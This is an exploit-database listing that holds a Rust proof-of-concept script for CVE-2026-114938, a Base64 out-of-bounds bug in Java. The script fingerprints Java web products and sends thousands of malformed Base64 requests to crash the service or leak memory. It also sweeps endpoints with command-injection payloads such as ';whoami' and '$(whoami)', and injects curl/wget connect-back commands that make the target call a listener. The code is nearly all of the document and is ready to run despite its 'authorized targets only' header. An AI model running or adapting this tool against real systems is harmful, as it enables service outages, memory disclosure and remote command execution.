Exploit databaseDownload repository ZIP
GH-344b99523ccb93e42fe3fdc561154232
arkrwn/poc-cve-2026-114938-crashleak
Sources for CVE-2026-114938
42 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files4
arkrwn/poc-cve-2026-114938-crashleakRevision 490a42878c61
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc.rs
Rust · 21,526 bytes// poc.rs — PoC-CVE-2026-114938 ("Java4Shell") — Rust trigger harness.
//
// Proves the OOB *trigger* and the resulting crash / leak. NOT a universal RCE.
// App-specific RCE chains are withheld by the original researchers (calif.io).
//
// Build: rustc -O poc.rs -o poc
// Uses the system `curl` for HTTP(S); no external crates.
//
// Authorized targets only. Review the code before running — see README.md.
use std::env;
use std::fs;
use std::io::{Read, Write};
use std::net::TcpListener;
use std::process::Command;
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
use std::sync::{Arc, Mutex};
use std::thread;
use std::time::{Duration, SystemTime, UNIX_EPOCH};
const UA: &str = "poc-cve-2026-114938/1.0 (+calif.io/java4shell)";
// Trigger payloads. Tail handler computes (n/4)*3 minus padding and underflows
// for input ending in '=' with length 1..3 more than a multiple of 64.
// 64 A + '=' (JDK 21/25/27); 128 A + '=' (JDK 17).
const VALID21: &str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
const MAL21: &str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
const VALID17: &str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
const MAL17: &str = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
const WHOAMI_PATHS: &[&str] = &["/", "/cmd", "/exec", "/run", "/shell", "/system", "/cgi-bin/cmd",
"/cmd.jsp", "/shell.jsp", "/exec.jsp", "/ping", "/api/exec"];
const WHOAMI_PARAMS: &[&str] = &["cmd", "c", "exec", "command", "run", "q", "ping", "input"];
const WHOAMI_PAYLOADS: &[&str] = &["whoami", ";whoami", "|whoami", "$(whoami)", "`whoami`", "id"];
const CHAIN_CMDS: &[&str] = &["id", "whoami", "date", "uname -a"];
#[derive(Clone)]
struct Resp {
ok: bool,
status: u16,
len: usize,
body: Vec<u8>,
err: String,
}
fn rand_u32() -> u32 {
let n = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().subsec_nanos();
n ^ ((std::process::id() as u32) << 8)
}
fn curl(method: &str, url: &str, headers: &[(&str, &str)], body: Option<&str>, timeout: u64) -> Resp {
let tmp = env::temp_dir().join(format!("j4s-{}-{}.out", std::process::id(), rand_u32()));
let mut cmd = Command::new("curl");
cmd.arg("-k").arg("-sS").arg("--max-time").arg(timeout.to_string())
.arg("-o").arg(&tmp)
.arg("-w").arg("%{http_code}")
.arg("-X").arg(method)
.arg("-A").arg(UA);
for (k, v) in headers {
cmd.arg("-H").arg(format!("{}: {}", k, v));
}
if let Some(b) = body {
cmd.arg("--data-binary").arg(b);
}
cmd.arg(url);
match cmd.output() {
Ok(o) => {
let status = String::from_utf8_lossy(&o.stdout).trim().parse::<u16>().unwrap_or(0);
let body = fs::read(&tmp).unwrap_or_default();
let _ = fs::remove_file(&tmp);
Resp { ok: status > 0, status, len: body.len(), body, err: String::from_utf8_lossy(&o.stderr).trim().to_string() }
}
Err(e) => Resp { ok: false, status: 0, len: 0, body: vec![], err: e.to_string() },
}
}
// Prints a progress line every ~10% until `done` reaches `total`.
fn progress(label: &'static str, total: usize, done: Arc<AtomicUsize>) -> thread::JoinHandle<()> {
thread::spawn(move || {
let mut last_pct: isize = -1;
loop {
thread::sleep(Duration::from_millis(700));
let c = done.load(Ordering::Relaxed);
if c >= total {
eprintln!(" [{}] {}/{} (100%)", label, total, total);
break;
}
let pct = (c * 100 / total) as isize;
if pct >= last_pct + 10 {
last_pct = pct - (pct % 10);
eprintln!(" [{}] {}/{} ({}%)", label, c, total, pct);
}
}
})
}
fn fingerprint(host: &str) -> Vec<(&'static str, i32)> {
let paths = ["/", "/admin/", "/realms/master", "/rest/api/2/serverInfo", "/login.jsp"];
let mut score: Vec<(&'static str, i32)> = vec![
("keycloak", 0), ("jira", 0), ("confluence", 0), ("jenkins", 0),
("artifactory", 0), ("tomcat", 0), ("spring", 0),
];
for p in paths {
let r = curl("GET", &format!("{}{}", host, p), &[], None, 10);
let low = String::from_utf8_lossy(&r.body).to_lowercase();
let sigs: [(&'static str, &[&'static str]); 7] = [
("keycloak", &["keycloak", "kc-", "/realms/"]),
("jira", &["jira", "atlassian", "x-arequestid"]),
("confluence", &["confluence", "atlassian"]),
("jenkins", &["jenkins", "x-jenkins"]),
("artifactory", &["artifactory", "jfrog"]),
("tomcat", &["tomcat", "coyote", "jsessionid"]),
("spring", &["whitelabel", "spring"]),
];
for (name, pats) in sigs {
for pat in pats {
if low.contains(pat) {
if let Some(e) = score.iter_mut().find(|(n, _)| *n == name) { e.1 += 2; }
}
}
}
}
score.sort_by_key(|(_, s)| -*s);
score
}
fn urlencode(v: &str) -> String {
let mut out = String::new();
for b in v.bytes() {
match b {
b'A'..=b'Z' | b'a'..=b'z' | b'0'..=b'9' | b'-' | b'_' | b'.' | b'~' => out.push(b as char),
_ => out.push_str(&format!("%{:02X}", b)),
}
}
out
}
type VecReq = (String, String, String, Vec<(String, String)>, Option<String>);
fn vectors(host: &str, product: &str, payload: &str) -> Vec<VecReq> {
let mut v = vec![];
let paths: &[&str] = match product {
"keycloak" => &["/realms/master/protocol/openid-connect/auth", "/realms/master/protocol/openid-connect/token", "/"],
"jira" => &["/rest/api/2/search", "/rest/api/2/serverInfo", "/"],
"confluence" => &["/rest/api/content", "/"],
"jenkins" => &["/", "/api/json"],
_ => &["/", "/login", "/search"],
};
let params = ["data", "base64", "token", "state", "code", "q", "payload", "SAMLRequest", "jql"];
for p in paths {
for q in params {
v.push((format!("GET {}?{}", p, q), "GET".to_string(),
format!("{}{}{}={}", host, p, if p.contains('?') { "&" } else { "?" }, urlencode(payload)),
vec![], None));
}
}
for q in ["data", "base64", "payload"] {
v.push((format!("POST form {}", q), "POST".to_string(), format!("{}/", host),
vec![("Content-Type".to_string(), "application/x-www-form-urlencoded".to_string())],
Some(format!("{}={}", q, urlencode(payload)))));
v.push((format!("POST json {}", q), "POST".to_string(), format!("{}/", host),
vec![("Content-Type".to_string(), "application/json".to_string())],
Some(format!("{{\"{}\":\"{}\"}}", q, payload))));
}
v.push(("HEADER Authorization".to_string(), "GET".to_string(), format!("{}/", host),
vec![("Authorization".to_string(), format!("Basic {}", payload))], None));
v
}
fn leak_scan(bodies: &[Vec<u8>]) -> Vec<&'static str> {
let mut hits = Vec::new();
for b in bodies {
if b.windows(16).any(|w| w.iter().all(|&x| x == 0x9a)) {
if !hits.contains(&"raw-0x9a") { hits.push("raw-0x9a"); }
}
let low = String::from_utf8_lossy(b).to_lowercase();
if low.contains("9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a9a") {
if !hits.contains(&"hex-9a") { hits.push("hex-9a"); }
}
}
hits
}
fn looks_like_user(txt: &str) -> Option<&'static str> {
let low = txt.to_lowercase();
if low.contains("whoami") { return None; }
for u in ["root", "www-data", "nobody", "ubuntu", "daemon", "apache", "tomcat"] {
if low.contains(u) { return Some(u); }
}
if low.contains("uid=") { return Some("uid="); }
None
}
fn chain_proof(host: &str, p: &str, q: &str, cmds: &[String]) -> Vec<(String, String)> {
let mut out = Vec::new();
for cmd in cmds {
let sep = if p.contains('?') { '&' } else { '?' };
let url = format!("{}{}{}{}={}", host, p, sep, q, urlencode(cmd));
let r = curl("GET", &url, &[], None, 10);
let txt = String::from_utf8_lossy(&r.body).trim().chars().take(200).collect::<String>();
out.push((cmd.clone(), txt));
}
out
}
fn whoami_sweep(host: &str, cmds: &[String]) -> Option<(String, String, Vec<(String, String)>)> {
for p in WHOAMI_PATHS {
for q in WHOAMI_PARAMS {
for pl in WHOAMI_PAYLOADS {
let sep = if p.contains('?') { '&' } else { '?' };
let url = format!("{}{}{}{}={}", host, p, sep, q, urlencode(pl));
let r = curl("GET", &url, &[], None, 10);
let txt = String::from_utf8_lossy(&r.body);
if let Some(m) = looks_like_user(&txt) {
let chain = chain_proof(host, p, q, cmds);
return Some((format!("{}?{}", p, q), m.to_string(), chain));
}
}
}
}
None
}
fn version_paths(product: &str) -> &'static [&'static str] {
match product {
"keycloak" => &["/realms/master/.well-known/openid-configuration", "/admin/"],
"jira" => &["/rest/api/2/serverInfo", "/status"],
"confluence" => &["/rest/api/content", "/status"],
"jenkins" => &["/systemInfo", "/api/json"],
"artifactory" => &["/artifactory/api/system/version"],
"solr" => &["/solr/admin/info/system"],
"elasticsearch" => &["/"],
"gerrit" => &["/config/server/version"],
_ => &["/"],
}
}
fn find_version(s: &str) -> Option<String> {
let bytes = s.as_bytes();
let mut i = 0;
while i < bytes.len() {
if bytes[i].is_ascii_digit() {
let mut j = i;
while j < bytes.len() && (bytes[j].is_ascii_digit() || bytes[j] == b'.') { j += 1; }
let tok = &s[i..j];
let parts: Vec<&str> = tok.split('.').collect();
if parts.len() >= 3 {
if let Ok(major) = parts[0].parse::<i32>() {
if (17..=29).contains(&major)
&& parts[1].parse::<i32>().is_ok()
&& parts[2].parse::<i32>().is_ok()
{
return Some(format!("{}.{}.{}", parts[0], parts[1], parts[2]));
}
}
}
i = j;
} else {
i += 1;
}
}
None
}
fn detect_java_version(host: &str, product: &str) -> Option<String> {
for p in version_paths(product) {
let r = curl("GET", &format!("{}{}", host, p), &[], None, 10);
let txt = String::from_utf8_lossy(&r.body).to_lowercase();
for key in ["java", "jdk", "jvm", "openjdk", "runtime"] {
if let Some(mut i) = txt.find(key) {
i += key.len();
let window: String = txt[i..].chars().take(60).collect();
if let Some(v) = find_version(&window) {
return Some(v);
}
}
}
}
None
}
fn verdict(product: &str, ver: Option<&str>) -> String {
if product == "generic" {
return "not_vulnerable (not a Java service detected)".to_string();
}
if let Some(v) = ver {
let major = v.split('.').next().unwrap_or("0").parse::<i32>().unwrap_or(0);
if major < 17 {
return format!("not_vulnerable (JDK {} < 17)", v);
}
if major == 17 || major == 21 || major == 25 || major == 27 {
return format!("potentially_vulnerable (JDK {} in range; CPU AVX-512 not yet verified)", v);
}
return format!("unknown (JDK {})", v);
}
"potentially_vulnerable (Java service; JDK version & CPU AVX-512 not yet verified)".to_string()
}
fn main() {
let args: Vec<String> = env::args().collect();
let mut host = String::new();
let mut safe = false;
let mut check_only = false;
let mut product = "auto".to_string();
let mut warm_n = 10000usize;
let mut spray_n = 300usize;
let mut threads = 32usize;
let mut jdk17 = false;
let mut whoami_flag = false;
let mut chain_arg = String::new();
let mut listen_port = 0u16;
let mut require_shell = false;
let mut i = 1;
while i < args.len() {
match args[i].as_str() {
"--host" => { i += 1; host = args.get(i).cloned().unwrap_or_default(); }
"--safe" => safe = true,
"--check-only" => check_only = true,
"--product" => { i += 1; product = args.get(i).cloned().unwrap_or_else(|| "auto".into()); }
"--warm" => { i += 1; warm_n = args.get(i).and_then(|s| s.parse().ok()).unwrap_or(10000); }
"--spray" => { i += 1; spray_n = args.get(i).and_then(|s| s.parse().ok()).unwrap_or(300); }
"--threads" => { i += 1; threads = args.get(i).and_then(|s| s.parse().ok()).unwrap_or(32); }
"--jdk17" => jdk17 = true,
"--whoami" => whoami_flag = true,
"--chain" => { i += 1; chain_arg = args.get(i).cloned().unwrap_or_default(); }
"--listen" => { i += 1; listen_port = args.get(i).and_then(|s| s.parse().ok()).unwrap_or(0); }
"--require-shell" => require_shell = true,
_ => {}
}
i += 1;
}
if host.is_empty() {
eprintln!("usage: poc --host https://target [--safe|--check-only] [--warm N] [--spray N] [--threads N] [--jdk17] [--whoami]");
std::process::exit(1);
}
if !host.starts_with("http") { host = format!("https://{}", host); }
host = host.trim_end_matches('/').to_string();
// Optional callback listener
let cb_hits = Arc::new(Mutex::new(Vec::<String>::new()));
if listen_port > 0 {
let h = cb_hits.clone();
thread::spawn(move || {
if let Ok(ls) = TcpListener::bind(("0.0.0.0", listen_port)) {
for s in ls.incoming().flatten() {
let mut buf = [0u8; 2048];
let mut s = s;
if let Ok(n) = s.read(&mut buf) {
let line = String::from_utf8_lossy(&buf[..n]).lines().next().unwrap_or("").to_string();
h.lock().unwrap().push(line);
let _ = s.write_all(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nok");
}
}
}
});
println!("[callback] listening on 0.0.0.0:{}", listen_port);
}
let scores = fingerprint(&host);
let detected = if scores[0].1 == 0 { "generic".to_string() } else { scores[0].0.to_string() };
if product == "auto" { product = detected.clone(); }
let nonzero: Vec<String> = scores.iter()
.filter(|(_, s)| *s > 0)
.map(|(n, s)| format!("{}={}", n, s))
.collect();
if nonzero.is_empty() {
println!("[fp] product={} detected={} score=none", product, detected);
} else {
println!("[fp] product={} detected={} score={}", product, detected, nonzero.join(" "));
}
let (valid, mal) = if jdk17 { (VALID17, MAL17) } else { (VALID21, MAL21) };
let base = curl("GET", &format!("{}/", host), &[], None, 10);
println!("[baseline] status={} len={}", base.status, base.len);
if check_only {
let ver = detect_java_version(&host, &product);
println!("[check] product={} java={}", product, ver.as_deref().unwrap_or("unknown"));
let done = Arc::new(AtomicUsize::new(0));
let mut hs = vec![];
let per = 2000usize / threads + 1;
for _ in 0..threads {
let host = host.clone();
let done = done.clone();
hs.push(thread::spawn(move || {
for _ in 0..per {
let r = curl("GET", &format!("{}/?data={}", host, valid), &[], None, 10);
if r.ok { done.fetch_add(1, Ordering::Relaxed); }
}
}));
}
for h in hs { let _ = h.join(); }
println!("[check] warm ok={} (decode path reachable)", done.load(Ordering::Relaxed));
println!("[check] state={}", verdict(&product, ver.as_deref()));
return;
}
if safe {
let r = curl("GET", &format!("{}/?data={}", host, valid), &[], None, 10);
println!("[safe] valid decode -> status={} len={}", r.status, r.len);
return;
}
// WARM — force the JIT to compile the AVX-512 Base64 path.
println!("[warm] n={} threads={} vector=GET /?data", warm_n, threads);
let done = Arc::new(AtomicUsize::new(0));
let reporter = progress("warm", warm_n, done.clone());
let mut handles = vec![];
let per = warm_n / threads + 1;
for _ in 0..threads {
let host = host.clone();
let done = done.clone();
handles.push(thread::spawn(move || {
for _ in 0..per {
let _ = curl("GET", &format!("{}/?data={}", host, valid), &[], None, 10);
done.fetch_add(1, Ordering::Relaxed);
}
}));
}
for h in handles { let _ = h.join(); }
let _ = reporter.join();
println!("[warm] done={}", done.load(Ordering::Relaxed));
// TRIGGER + SPRAY
let crashed = Arc::new(AtomicBool::new(false));
let hit_count = Arc::new(AtomicUsize::new(0));
let ev = Arc::new(Mutex::new(Vec::<String>::new()));
let bodies = Arc::new(Mutex::new(Vec::<Vec<u8>>::new()));
let iter_done = Arc::new(AtomicUsize::new(0));
let reporter = progress("spray", spray_n, iter_done.clone());
let mut handles = vec![];
let per = spray_n / threads + 1;
for _ in 0..threads {
let host = host.clone();
let product = product.clone();
let crashed = crashed.clone();
let hit_count = hit_count.clone();
let ev = ev.clone();
let bodies = bodies.clone();
let iter_done = iter_done.clone();
let mal = mal.to_string();
handles.push(thread::spawn(move || {
for _ in 0..per {
for (label, m, u, hdrs, body) in vectors(&host, &product, &mal) {
let hs: Vec<(&str, &str)> = hdrs.iter().map(|(a, b)| (a.as_str(), b.as_str())).collect();
let r = curl(&m, &u, &hs, body.as_deref(), 10);
if !r.ok || r.status >= 500 {
crashed.store(true, Ordering::Relaxed);
hit_count.fetch_add(1, Ordering::Relaxed);
ev.lock().unwrap().push(format!("{} status={} err={}", label, r.status, r.err));
let mut b = bodies.lock().unwrap();
if b.len() < 40 { b.push(r.body); }
}
}
iter_done.fetch_add(1, Ordering::Relaxed);
}
}));
}
for h in handles { let _ = h.join(); }
let _ = reporter.join();
let after = curl("GET", &format!("{}/", host), &[], None, 10);
let crash = crashed.load(Ordering::Relaxed) || (!after.ok) || (base.status < 500 && after.status >= 500);
let hits = hit_count.load(Ordering::Relaxed);
let leak = leak_scan(&bodies.lock().unwrap());
println!("[trigger] hits={} after_status={} crash={} leak={:?}", hits, after.status, crash, leak);
// WHOAMI / CHAIN PROOF (optional, read-only). Proves generic command
// injection on an injectable endpoint — NOT the withheld Java4Shell chain.
let mut whoami_hit = false;
if whoami_flag {
let chain: Vec<String> = if chain_arg.is_empty() {
CHAIN_CMDS.iter().map(|s| s.to_string()).collect()
} else {
chain_arg.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect()
};
if let Some((ep, m, chain_out)) = whoami_sweep(&host, &chain) {
whoami_hit = true;
println!("[whoami] HIT {} -> {}", ep, m);
for (cmd, out) in &chain_out {
println!(" [proof] {} -> {}", cmd, out);
}
println!("[whoami] SHELL_PROVEN via {}", ep);
} else {
println!("[whoami] no hit (user-echo)");
}
// If a local listener is running, also try to make an injectable
// endpoint phone home to it (connect-back proof).
if listen_port > 0 {
for p in WHOAMI_PATHS {
for q in WHOAMI_PARAMS {
for c in [
format!("curl -s http://127.0.0.1:{}/j4s", listen_port),
format!("wget -qO- http://127.0.0.1:{}/j4s", listen_port),
] {
let sep = if p.contains('?') { '&' } else { '?' };
let url = format!("{}{}{}{}={}", host, p, sep, q, urlencode(&c));
let _ = curl("GET", &url, &[], None, 10);
}
}
}
thread::sleep(Duration::from_secs(1));
}
}
let shell = !cb_hits.lock().unwrap().is_empty() || whoami_hit;
println!("\n=== SUMMARY ===");
println!("targets=1 vulnerable={} shell={}", if crash { 1 } else { 0 }, if shell { 1 } else { 0 });
if !crash {
println!("possibly not impacted; more detailed checks by your team are required");
}
if require_shell && !shell { std::process::exit(2); }
let _ = Duration::from_millis(0);
}